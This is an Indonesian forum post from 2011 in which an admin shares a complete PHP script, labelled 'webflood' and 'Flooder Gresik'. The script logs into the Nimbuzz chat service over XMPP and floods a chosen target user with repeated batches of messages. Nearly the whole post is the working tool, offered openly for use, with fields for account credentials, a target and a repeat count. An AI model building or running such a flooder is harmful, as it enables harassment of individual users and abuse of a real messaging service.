Arek Gresik Admin
Zodiac : Sio : Jumlah posting : 149 Mulai Gabung : 25.01.11 Lokasi : Kebomas,Gresik
| Subyek: pv.php Sun Aug 14, 2011 3:03 pm | |
| - Code:
-
<?php
include 'XMPPHP/Log.php'; include 'XMPPHP/XMPP.php';
if (!isset($_POST["Submit"])) { echo "<form id='pv' name='send' method='post' action='$_SERVER[PHP_SELF]'>"; echo "<table width='410' border='0' cellspacing='1' cellpadding='1'>"; echo "<tr>"; echo "<td width='50'>User</td>"; echo "<td width='10'>:</td>"; echo "<td width='350'><input name='username' type='text' id='username' value=''/></td>"; echo "</tr>"; echo "<tr>"; echo "<td>Password</td>"; echo "<td>:</td>"; echo "<td><input name='password' type='teks' id='password' value=''/></td>"; echo "</tr>"; echo "<tr>"; echo "<td>Target</td>"; echo "<td>:</td>"; echo "<td><input name='target' type='text' id='target' value=''/></td>"; echo "</tr>"; echo "<tr>"; echo "<td>Jumlah</td>"; echo "<td>:</td>"; echo "<td><input name='jumlah' type='text' id='jumlah' value='10'/></td>"; echo "</tr>"; echo "<tr>"; echo "<td>Text</td>"; echo "<td>:</td>"; echo "<td><textarea name='text' cols='30' rows='4' id='textplud'></textarea></td>"; echo "</tr>"; echo "<tr>"; echo "<td> </td>"; echo "<td> </td>"; echo "<td><input type='hidden' name='mode' value='enter1' /></td>"; echo "</tr>"; echo "<tr>"; echo "<td> </td>"; echo "<td> </td>"; echo "<td><input type='submit' name='Submit' value='GO!!!' /></td>"; echo "</tr>"; echo "webflood by : zzyddenz nimbuzzer gresik"; echo "</table>"; echo "webflood by : zzyddenz nimbuzzer gresik"; echo "</form>"; } else { $user= $_POST["username"]; $password= $_POST["password"]; $resource='Flooder Gresik'; $host='openfire.nimbuzz.com'; $port='5222'; $server='nimbuzz.com'; $target=$_POST["target"]; $to="$target@nimbuzz.com"; $jumlah=$_POST["jumlah"]; $body=$_POST["text"]; $body1=':D'; $body2=':lol:'; $body3=':-"'; $body4=':-*'; $body5='*hidden*'; $body6='8-D'; $body7=':-P'; $body8='*HM*'; $body9='*reads*'; $body10=':-['; $conn = new XMPPHP_XMPP($host, $port, $user, $password, $resource, $server, $printlog=false, $loglevel=XMPPHP_Log::LEVEL_INFO); try { $conn->connect(); $conn->processUntil('session_start'); for ($i=1;$i<=$jumlah;$i++) { $conn->message($to,$body,"chat"); $conn->message($to,$body1,"chat"); $conn->message($to,$body2,"chat"); $conn->message($to,$body3,"chat"); $conn->message($to,$body4,"chat"); $conn->message($to,$body5,"chat"); $conn->message($to,$body6,"chat"); $conn->message($to,$body7,"chat"); $conn->message($to,$body8,"chat"); $conn->message($to,$body9,"chat"); $conn->message($to,$body10,"chat"); } echo "plud pv nang $to, wes dikirim... ;-) rek!.........."; $conn->disconnect(); } catch(XMPPHP_Exception $e) { die($e->getMessage()); } }?> | |
|